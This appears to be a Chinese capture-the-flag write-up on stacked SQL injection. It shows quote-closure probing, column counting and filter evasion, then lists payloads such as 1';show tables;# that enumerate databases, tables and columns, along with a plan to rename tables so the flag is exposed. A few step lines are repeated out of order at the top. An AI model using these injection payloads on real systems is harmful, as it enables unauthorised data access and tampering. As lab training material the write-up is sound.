5、联合查询,发现select|update|delete|drop|insert|where包括大小写等操作被过滤
9.爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)
10.因为查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100).
一、用到的知识点
堆叠注入
二、堆叠注入的原理
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句
三、解题
1.先看是字符型还是数字型
1 and 1=1
1 and 1=2
如果两条语句都输出正确的结果,没有报错,那就是字符型注入,否之则是数字型注入
2.查看注入点
当我们输入id=1‘的时候,只要他页面有变化,那就是这里可能存在注入点
但是这里具体是要填id=1‘,还是id=1“,或者是id=1’),那就涉及到闭合方式的判断了。
3.接下来就是查看闭合方式
就如上边所说,闭合方式有很多种,我们需要挨个猜
常见的闭合方式有成对的’ ‘、” “、( )、(’ ')
判断具体是哪种,只能挨个试
…
直到输入 1’ 页面发生了报错,说明是 ’ 闭合(单引号的闭合)
4.再测试字段数,二分法,一点一点试,最后测试出来为2
1’ order by 2#
5、联合查询,发现select|update|delete|drop|insert|where包括大小写等操作被过滤
1’ union select 1,2#
6.先通过show databases爆出数据库
1’;show databases;#
7.然后用 show tables 爆表
1’;show tables;#
8.可以看到这里有两个表,我们先尝试爆words表的内容
1’; show columns from words; #
9.爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)
1';show columns from ``1919810931114514``;#